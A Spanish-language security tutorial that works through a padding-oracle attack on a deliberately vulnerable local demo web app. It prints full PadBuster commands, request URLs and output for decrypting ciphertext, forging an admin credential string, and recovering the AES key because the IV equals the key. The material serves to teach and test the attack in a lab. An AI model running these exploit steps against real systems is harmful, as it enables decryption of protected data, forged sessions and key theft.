Explotar padding oracle para obtener claves de cifrado

Padding Oracle fue introducido por Serge Vaudenay en la conferencia Eurocrypt de 2002, pero parece que no fue hasta 2010 cuando realmente empezó a tomarse en serio, gracias sobretodo a Juliano Rizzo y Thai Duong que demostraron cómo realizar ataques efectivos utilizando esta técnica a sitios web con ASP.NET.


Hoy, 8 años después, Padding Oracle sigue estando presente no sólo en sitios con ASP.NET sin actualizar, si no en cualquiera que utilice un algoritmo de cifrado de bloques de longitud variable (es decir que necesita usar relleno o padding) y son vulnerables. Y cuando decimos cualquiera no sólo hablamos de Web, si no de cualquier protocolo que utilice cifrado de bloques o CBC como SSL (Poodle), Ipsec, WTLS, o SSH, etc. En todos ellos podríamos llegar a descifrar los datos sin la secret key, e incluso a cifrar con lo que, dependiendo del aplicativo, podríamos insertar en la sesión un cookie de admin o inyectar código EL, por decir algunos ejemplos. Como veis las consecuencias van desde una simple revelación de información sensible hasta la posibilidad de ejecutar código remotamente.

Por eso no conviene olvidarse nunca de las "posibilidades" de Padding Oracle, por lo que hoy rescatamos un post de GDSSecurity dónde explotan esta vulnerabilidad con PadBuster.

Primero empezaremos descargando el código del siguiente repositorio donde encontraremos una aplicación web vulnerable a Padding Oracle. Utiliza AES-128 con padding PKCS#5 y la misma contraseña estática para la clave de cifrado y el vector de inicialización, que se utilizan para cifrar y descifrar este valor. No hay HMAC u otra verificación de integridad de mensajes, así que es ideal para practicar.

# git clone https://github.com/GDSSecurity/PaddingOracleDemos.git
# cd PaddingOracleDemos
# python pador.py


Escenario sencillo

La aplicación descifra todo lo que pongamos en el parámetro 'cipher':
# curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6

decrypted: ApplicationUsername=user&Password=sesame

Al cambiar los dos primeros bits del primer bloque, podemos verificar que no se realizan comprobaciones de sintaxis en los datos descifrados. Y podemos ver que la aplicación procesa felizmente los datos "basura" que hemos metido:
# curl http://127.0.0.1:5000/echo?cipher=ff4b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6

decrypted: �+�]7N�d�����N�me=user&Password=sesame

El siguiente paso es comprobar cómo reacciona la aplicación al padding incorrecto. Podemos hacer esto cambiando bits en el último bloque. Parece que la aplicación devuelve "error de descifrado" cuando el relleno es incorrecto.
# curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4ff

decryption error 

Ahora que sabemos que la aplicación es vulnerable, podemos ejecutar padbuster para explotarla. La sintaxis más sencilla es la siguiente:

padbuster URL EncryptedSample BlockSize [opciones]

En este escenario, ejecutar Padbuster es sencillo: el tamaño del bloque es 16 (16 bytes = 128 bits) y el único parámetro adicional que necesitamos por ahora es -encoding 1 (HEX en minúsculas).
# perl padBuster.pl "http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1

+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+

INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 51

INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 2 ***

INFO: No error string was provided...starting response analysis

*** Response Analysis Complete ***

The following response signatures were returned:

-------------------------------------------------------
ID#     Freq    Status  Length  Location
-------------------------------------------------------
1       1       200     42      N/A
2 **    255     200     16      N/A
-------------------------------------------------------

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2

Continuing test with selection 2

[+] Success: (24/256) [Byte 16]
[+] Success: (165/256) [Byte 15]
[+] Success: (13/256) [Byte 14]
[+] Success: (199/256) [Byte 13]
[+] Success: (105/256) [Byte 12]
[+] Success: (4/256) [Byte 11]
[+] Success: (120/256) [Byte 10]
[+] Success: (197/256) [Byte 9]
[+] Success: (44/256) [Byte 8]
[+] Success: (220/256) [Byte 7]
[+] Success: (40/256) [Byte 6]
[+] Success: (166/256) [Byte 5]
[+] Success: (207/256) [Byte 4]
[+] Success: (18/256) [Byte 3]
[+] Success: (215/256) [Byte 2]
[+] Success: (199/256) [Byte 1]

Block 1 Results:
[+] Cipher Text (HEX): c59ca16e1f3645ef53cc6a4d9d87308e
[+] Intermediate Bytes (HEX): 2926e03c56d32edd338ffa923df059e9
[+] Plain Text: ame=user&Passwor

Use of uninitialized value $plainTextBytes in concatenation (.) or string at padBuster.pl line 361,  line 1.
*** Starting Block 2 of 2 ***

[+] Success: (121/256) [Byte 16]
[+] Success: (198/256) [Byte 15]
[+] Success: (116/256) [Byte 14]
[+] Success: (111/256) [Byte 13]
[+] Success: (192/256) [Byte 12]
[+] Success: (156/256) [Byte 11]
[+] Success: (61/256) [Byte 10]
[+] Success: (173/256) [Byte 9]
[+] Success: (125/256) [Byte 8]
[+] Success: (222/256) [Byte 7]
[+] Success: (164/256) [Byte 6]
[+] Success: (160/256) [Byte 5]
[+] Success: (250/256) [Byte 4]
[+] Success: (36/256) [Byte 3]
[+] Success: (82/256) [Byte 2]
[+] Success: (79/256) [Byte 1]

Block 2 Results:
[+] Cipher Text (HEX): d2382fb0a54f3a2954bfebe0a04dd4d6
[+] Intermediate Bytes (HEX): a1a1d20b6c57288a5bc46245958f3886
[+] Plain Text: d=sesame

-------------------------------------------------------
** Finished ***

[+] Decrypted value (ASCII): ame=user&Password=sesame

[+] Decrypted value (HEX): 616D653D757365722650617373776F72643D736573616D650808080808080808

[+] Decrypted value (Base64): YW1lPXVzZXImUGFzc3dvcmQ9c2VzYW1lCAgICAgICAg=

-------------------------------------------------------

Como veis no ha sido posible recuperar el primer bloque. Vamos a echar un vistazo al siguiente diagrama de bloques para el descifrado CBC para entender por qué:

Al aprovechar el padding oracle es posible obtener el valor intermedio después de descifrar el primer bloque (opción -noiv en padbuster). Sin embargo, no sabemos el IV para calcular el texto en claro para el primer bloque.

Algunos ya os habréis dado cuenta de que saber el texto en claro nos permite calcular el IV, que se utiliza como clave de cifrado. Esto se explica con detalle más adelante.

Un escenario más complejo

Ahora veamos un escenario un poco más complicado: la aplicación no devuelve un mensaje de error para un padding incorrecto. En su lugar, la aplicación analiza los campos de los datos descifrados y devuelve un mensaje de error si falta un campo requerido. En este caso, los campos obligatorios son 'ApplicationUsername' y 'Password'.

Aquí hay un ejemplo para una petición con éxito: el parámetro 'cipher' se descifra correctamente y contiene todos los campos requeridos. La aplicación responde con el valor descifrado y todos los campos parseados:
# curl http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6


decrypted: ApplicationUsername=user&Password=sesame

parsed: {'Password': ['sesame'], 'ApplicationUsername': ['user']}

Si enviamos una petición que contenga sólo el parámetro 'Password' la aplicación responde con un 'ApplicationUsername missing':
# curl http://127.0.0.1:5000/echo?cipher=38d057b13b8aef21dbf9b43b66a6d89a


decrypted: Password=sesame

# curl http://127.0.0.1:5000/check?cipher=38d057b13b8aef21dbf9b43b66a6d89a


ApplicationUsername missing

En el caso de que el valor cifrado solo contenga un parámetro 'ApplicationUsername', la aplicación responde con 'Password missing'.
# curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369b309efe9c9fb71ea283dd42e445cc7b54


decrypted: ApplicationUsername=user

# curl http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b309efe9c9fb71ea283dd42e445cc7b54


Password missing

Cuando se manipula el último bloque, el relleno se invalida. Como resultado, la aplicación no puede descifrar el parámetro 'cipher' y devuelve 'ApplicationUsername missing'.
# curl http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4ff


ApplicationUsername missing

Desafortunadamente, si ejecutamos padbuster con las opciones mínimas falla: cuando intenta forzar el primer bloque, siempre encuentra el mismo mensaje de error (ApplicationUsername missing).
# perl padBuster.pl "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" "48
4b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1

+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+

INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 117

INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 2 ***

INFO: No error string was provided...starting response analysis

*** Response Analysis Complete ***

The following response signatures were returned:

-------------------------------------------------------
ID#     Freq    Status  Length  Location
-------------------------------------------------------
1       256     200     27      N/A
-------------------------------------------------------

ERROR: All of the responses were identical.

Double check the Block Size and try again.

Pero aún podemos aprovechar el orden en que la aplicación verifica los campos: también devuelve ‘ApplicationUsername missing’ si el padding no es válido. Solo debemos añadir datos cifrados que contengan el campo "ApplicationUsername": si el padding es correcto, obtendremos una respuesta diferente. De esta manera podemos descifrar todo menos el primer bloque.

En el siguiente ejemplo, los dos primeros bloques del texto cifrado se añaden al realizar el ataque de padding oracle. Esto se debe a que el campo 'ApplicationUsername' se extiende sobre dos bloques:
# perl padBuster.pl "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e"

+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+

INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 117

INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 2 ***

[+] Success: (24/256) [Byte 16]
[+] Success: (165/256) [Byte 15]
[+] Success: (13/256) [Byte 14]
[+] Success: (199/256) [Byte 13]
[+] Success: (105/256) [Byte 12]
[+] Success: (4/256) [Byte 11]
[+] Success: (120/256) [Byte 10]
[+] Success: (197/256) [Byte 9]
[+] Success: (44/256) [Byte 8]
[+] Success: (220/256) [Byte 7]
[+] Success: (40/256) [Byte 6]
[+] Success: (166/256) [Byte 5]
[+] Success: (207/256) [Byte 4]
[+] Success: (18/256) [Byte 3]
[+] Success: (215/256) [Byte 2]
[+] Success: (199/256) [Byte 1]

Block 1 Results:
[+] Cipher Text (HEX): c59ca16e1f3645ef53cc6a4d9d87308e
[+] Intermediate Bytes (HEX): 2926e03c56d32edd338ffa923df059e9
[+] Plain Text: ame=user&Passwor

Use of uninitialized value $plainTextBytes in concatenation (.) or string at padBuster.pl line 361.
*** Starting Block 2 of 2 ***

[+] Success: (121/256) [Byte 16]
[+] Success: (198/256) [Byte 15]
[+] Success: (116/256) [Byte 14]
[+] Success: (111/256) [Byte 13]
[+] Success: (192/256) [Byte 12]
[+] Success: (156/256) [Byte 11]
[+] Success: (61/256) [Byte 10]
[+] Success: (173/256) [Byte 9]
[+] Success: (125/256) [Byte 8]
[+] Success: (222/256) [Byte 7]
[+] Success: (164/256) [Byte 6]
[+] Success: (160/256) [Byte 5]
[+] Success: (250/256) [Byte 4]
[+] Success: (36/256) [Byte 3]
[+] Success: (82/256) [Byte 2]
[+] Success: (79/256) [Byte 1]

Block 2 Results:
[+] Cipher Text (HEX): d2382fb0a54f3a2954bfebe0a04dd4d6
[+] Intermediate Bytes (HEX): a1a1d20b6c57288a5bc46245958f3886
[+] Plain Text: d=sesame

-------------------------------------------------------
** Finished ***

[+] Decrypted value (ASCII): ame=user&Password=sesame

[+] Decrypted value (HEX): 616D653D757365722650617373776F72643D736573616D650808080808080808

[+] Decrypted value (Base64): YW1lPXVzZXImUGFzc3dvcmQ9c2VzYW1lCAgICAgICAg=

-------------------------------------------------------

Cifrado

También podemos cifrar contenido, la única restricción es que no es posible controlar el primer bloque debido al IV estático. No obstante la aplicación aún aceptará nuestro texto cifrado si terminamos los datos del primer bloque con ‘=bla&’. Ten en cuenta que el texto cifrado no tiene que tener la misma longitud que el original.
# perl padBuster.pl "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b" "484b850123a04baf15df9be14e87369b" 16 -encoding 1 -error "Applicati
onUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e" -plaintext "=bla&ApplicationUsername=admin&Password=admin"

+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+

INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 27

INFO: Starting PadBuster Encrypt Mode
[+] Number of Blocks: 3

[+] Success: (97/256) [Byte 16]
[+] Success: (9/256) [Byte 15]
[+] Success: (179/256) [Byte 14]
[+] Success: (174/256) [Byte 13]
[+] Success: (215/256) [Byte 12]
[+] Success: (235/256) [Byte 11]
[+] Success: (61/256) [Byte 10]
[+] Success: (249/256) [Byte 9]
[+] Success: (221/256) [Byte 8]
[+] Success: (192/256) [Byte 7]
[+] Success: (197/256) [Byte 6]
[+] Success: (207/256) [Byte 5]
[+] Success: (96/256) [Byte 4]
[+] Success: (233/256) [Byte 3]
[+] Success: (85/256) [Byte 2]
[+] Success: (192/256) [Byte 1]

Block 3 Results:
[+] New Cipher Text (HEX): 31d76ada52422e176ea07e45384df69d
[+] Intermediate Bytes (HEX): 50a419ad3d304a2a0fc4132c564ef59e

[+] Success: (156/256) [Byte 16]
[+] Success: (45/256) [Byte 15]
[+] Success: (133/256) [Byte 14]
[+] Success: (233/256) [Byte 13]
[+] Success: (99/256) [Byte 12]
[+] Success: (256/256) [Byte 11]
[+] Success: (255/256) [Byte 10]
[+] Success: (239/256) [Byte 9]
[+] Success: (53/256) [Byte 8]
[+] Success: (202/256) [Byte 7]
[+] Success: (54/256) [Byte 6]
[+] Success: (218/256) [Byte 5]
[+] Success: (210/256) [Byte 4]
[+] Success: (186/256) [Byte 3]
[+] Success: (4/256) [Byte 2]
[+] Success: (26/256) [Byte 1]

Block 2 Results:
[+] New Cipher Text (HEX): a3802d5144a051a7246762f57a16f735
[+] Intermediate Bytes (HEX): f6f348232ac13cc2190606981378d165

[+] Success: (100/256) [Byte 16]
[+] Success: (221/256) [Byte 15]
[+] Success: (209/256) [Byte 14]
[+] Success: (125/256) [Byte 13]
[+] Success: (176/256) [Byte 12]
[+] Success: (205/256) [Byte 11]
[+] Success: (64/256) [Byte 10]
[+] Success: (254/256) [Byte 9]
[+] Success: (207/256) [Byte 8]
[+] Success: (120/256) [Byte 7]
[+] Success: (47/256) [Byte 6]
[+] Success: (53/256) [Byte 5]
[+] Success: (213/256) [Byte 4]
[+] Success: (190/256) [Byte 3]
[+] Success: (173/256) [Byte 2]
[+] Success: (168/256) [Byte 1]

Block 1 Results:
[+] New Cipher Text (HEX): 753e2047e19bf24866ae5634f3454ef3
[+] Intermediate Bytes (HEX): 485c4c26c7da82380ac73555872c219d

-------------------------------------------------------
** Finished ***

[+] Encrypted value is: 753e2047e19bf24866ae5634f3454ef3a3802d5144a051a7246762f57a16f73531d76ada52422e176ea07e45384df69d00000000000000000000000000000000
-------------------------------------------------------

# curl http://127.0.0.1:5000/check?cipher=753e2047e19bf24866ae5634f3454ef3a3802d5144a051a7246762f57a16f73531d76ada52422e176ea07e45384df69d00000000000000000000000000000000


decrypted: _cIB=bla&ApplicationUsername=admin&Password=admin

parsed: {'\xf7\xc1_c\x9e\x1cI\x9aB\xccC\x10\xac\x07\x90\x97': ['bla'], 'Password': ['admin'O], 'ApplicationUsername': ['admin']}

Obteniendo la clave

Ya es suficientemente malo poder descifrar y elaborar el parámetro 'cipher', pero establecer el IV en la clave de cifrado introduce otra vulnerabilidad: el IV (y por lo tanto la clave de cifrado) es el texto plano del primer bloque "XOReado" con el valor obtenido de descifrar el primer bloque (ver diagrama de bloques de abajo).

Podemos suponer que un atacante podría adivinar el texto plano basándose en la especificación y la parte descifrada del ataque de padding oracle o los mensajes que muestra la aplicación.


Usando el parámetro -noiv de padbuster podemos obtener el valor intermedio después de descifrar el primer bloque:
# perl padBuster.pl "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b" "484b850123a04baf15df9be14e87369b" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e" -noiv

+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+

INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 27

INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 1 ***

[+] Success: (215/256) [Byte 16]
[+] Success: (203/256) [Byte 15]
[+] Success: (222/256) [Byte 14]
[+] Success: (204/256) [Byte 13]
[+] Success: (238/256) [Byte 12]
[+] Success: (215/256) [Byte 11]
[+] Success: (175/256) [Byte 10]
[+] Success: (167/256) [Byte 9]
[+] Success: (182/256) [Byte 8]
[+] Success: (163/256) [Byte 7]
[+] Success: (163/256) [Byte 6]
[+] Success: (175/256) [Byte 5]
[+] Success: (174/256) [Byte 4]
[+] Success: (180/256) [Byte 3]
[+] Success: (178/256) [Byte 2]
[+] Success: (159/256) [Byte 1]

Block 1 Results:
[+] Cipher Text (HEX): 484b850123a04baf15df9be14e87369b
[+] Intermediate Bytes (HEX): 7141425f5d56574351562f1730213728
[+] Plain Text: qAB_]VWCQV/0!7(

Use of uninitialized value $plainTextBytes in concatenation (.) or string at padBuster.pl line 361.
-------------------------------------------------------
** Finished ***

[+] Decrypted value (ASCII): qAB_]VWCQV/0!7(

[+] Decrypted value (HEX): 7141425F5D56574351562F1730213728

[+] Decrypted value (Base64): cUFCX11WV0NRVi8XMCE3KA==

-------------------------------------------------------

Una vez que hayamos obtenido el valor intermedio, podemos hacer un XOR con el texto en claro para obtener la clave de cifrado:

0x4170706c69636174696f6e557365726e (plaintext ‘ApplicationUsern’) XOR 
0x7141425f5d56574351562f1730213728 (intermediate value) = 0x30313233343536373839414243444546 (key ‘0123456789ABCDEF’)

Script Python personalizado

La librería python-paddingoracle nos permite crear un exploit a medida para situaciones en las que padbuster no es lo suficientemente flexible. Por ejemplo, cuando la aplicación de destino usa tokens CSRF o cuando probamos web services.

Podéis encontrar dos scripts de Python que explotan la aplicación web de ejemplo en el GitHub de GDSSecurity. El primer script ‘http-simple.py’ vale para el primer y más sencillo escenario.

# python http-simple.py
....
DEBUG:urllib3.connectionpool:Resetting dropped connection: 127.0.0.1
DEBUG:urllib3.connectionpool:http://127.0.0.1:5000 "GET /echo?cipher=b4b1c21b7c47389a4bd47255859f2896d2382fb0a54f3a2954bfebe0a04dd4d6 HTTP/1.1" 200 16
DEBUG:urllib3.connectionpool:Resetting dropped connection: 127.0.0.1
DEBUG:urllib3.connectionpool:http://127.0.0.1:5000 "GET /echo?cipher=b3b1c21b7c47389a4bd47255859f2896d2382fb0a54f3a2954bfebe0a04dd4d6 HTTP/1.1" 200 16
DEBUG:urllib3.connectionpool:Resetting dropped connection: 127.0.0.1
DEBUG:urllib3.connectionpool:http://127.0.0.1:5000 "GET /echo?cipher=b2b1c21b7c47389a4bd47255859f2896d2382fb0a54f3a2954bfebe0a04dd4d6 HTTP/1.1" 200 16
DEBUG:urllib3.connectionpool:Resetting dropped connection: 127.0.0.1
DEBUG:urllib3.connectionpool:http://127.0.0.1:5000 "GET /echo?cipher=b1b1c21b7c47389a4bd47255859f2896d2382fb0a54f3a2954bfebe0a04dd4d6 HTTP/1.1" 200 27
DEBUG:root:No padding exception raised on b1b1c21b7c47389a4bd47255859f2896d2382fb0a54f3a2954bfebe0a04dd4d6
INFO:PadBuster:Decrypted block 1: 'd=sesame\x08\x08\x08\x08\x08\x08\x08\x08'

Decrypted cipher value: 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6 => bytearray(b'ame=user&Password=sesame\x08\x08\x08\x08\x08\x08\x08\x08')

La explotación del escenario más avanzado, que requiere un texto cifrado con prefijo, se ha implementado en "http-advanced.py". Este exploit también muestra cómo cifrar un texto sin formato y calcular la clave.

# python http-advanced.py
......
......
DEBUG:urllib3.connectionpool:Resetting dropped connection: 127.0.0.1
DEBUG:urllib3.connectionpool:http://127.0.0.1:5000 "GET /check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e6351524f4d46475341463f0720312738484b850123a04baf15df9be14e87369b HTTP/1.1" 200 27
DEBUG:urllib3.connectionpool:Resetting dropped connection: 127.0.0.1
DEBUG:urllib3.connectionpool:http://127.0.0.1:5000 "GET /check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e6251524f4d46475341463f0720312738484b850123a04baf15df9be14e87369b HTTP/1.1" 200 27
DEBUG:urllib3.connectionpool:Resetting dropped connection: 127.0.0.1
DEBUG:urllib3.connectionpool:http://127.0.0.1:5000 "GET /check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e6151524f4d46475341463f0720312738484b850123a04baf15df9be14e87369b HTTP/1.1" 200 16
DEBUG:root:No padding exception raised on 6151524f4d46475341463f0720312738484b850123a04baf15df9be14e87369b
INFO:PadBuster:Decrypted block 0: 'qAB_]VWCQV/\x170!7('

First block intermediate value: 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6 => 7141425f5d56574351562f1730213728

4170706c69636174696f6e557365726e (plaintext ApplicationUsern)
XOR
7141425f5d56574351562f1730213728 (intermediate value)
=
30313233343536373839414243444546 (IV = encryption key)

Algunas notas adicionales.

El payload 'Bit flipper' en el módulo Intruder de Burp Proxy es excelente para ver cómo una aplicación maneja los valores cifrados. Se debe sospechar si acepta algunos payloads manipulados o devuelve diferentes mensajes de error. Esto suele suceder si no hay MAC.

El cifrado sin MAC debe considerarse un hallazgo independientemente de cualquier padding oracle. Debido a la forma en que funciona CBC, siempre podemos manipular los valores cifrados.

Poner otro texto cifrado en padbuster también puede ser útil en otras situaciones: la aplicación podría tener un id dentro de los campos cifrados para detectar la manipulación (similar a un nonce). Al añadir un bloque recortado (mangled), podemos evitar que la aplicación reconozca el id para el campo de cifrado actual.

La aplicación de ejemplo también tiene una función para cifrar datos arbitrarios:
# curl http://127.0.0.1:5000/encrypt?plain=ApplicationUsername%3Duser%26Password%3Dsesame

crypted: 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6

Fuentes:
- http://en.hackdig.com/10/32716.htm
- https://blog.gdssecurity.com/labs/2015/10/26/exploiting-padding-oracle-to-gain-encryption-keys.html

Comentarios